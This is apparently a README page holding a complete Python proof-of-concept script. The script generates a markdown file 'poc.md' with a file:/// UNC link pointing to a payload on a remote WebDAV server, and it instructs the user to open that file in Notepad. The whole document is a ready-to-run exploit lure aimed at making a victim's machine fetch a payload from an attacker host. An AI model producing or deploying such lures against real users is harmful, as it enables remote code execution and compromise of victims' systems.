README.md
Rendering markdown...
import os;
import sys;
def create_poc(server, port, payload_path):
if(port <= 0 or port >= 65536):
print('Invalid port number.', file = sys.stderr);
f = open('poc.md', 'w');
f.write('# PoC\n[Link](file:///\\\\%s@%d\\DavWWWRoot\\%s)\n' % (server, port, payload_path));
f.close();
print('Done! Run `notepad poc.md` to view the result!');
#end-def
def __main__(argv):
if(len(argv) != 3):
print('Usage: python %s <webdav-server-host> <port> <server/path/to/payload>' % os.path.basename(__file__));
return;
#end-if
try:
create_poc(argv[0], int(argv[1]), argv[2]);
except Exception as err:
print(err, file = sys.stderr);
#end-try
#end-def
if(__name__ == '__main__'):
__main__(sys.argv[1:]);
else:
raise Exception('This is a standalone script!');
#end-if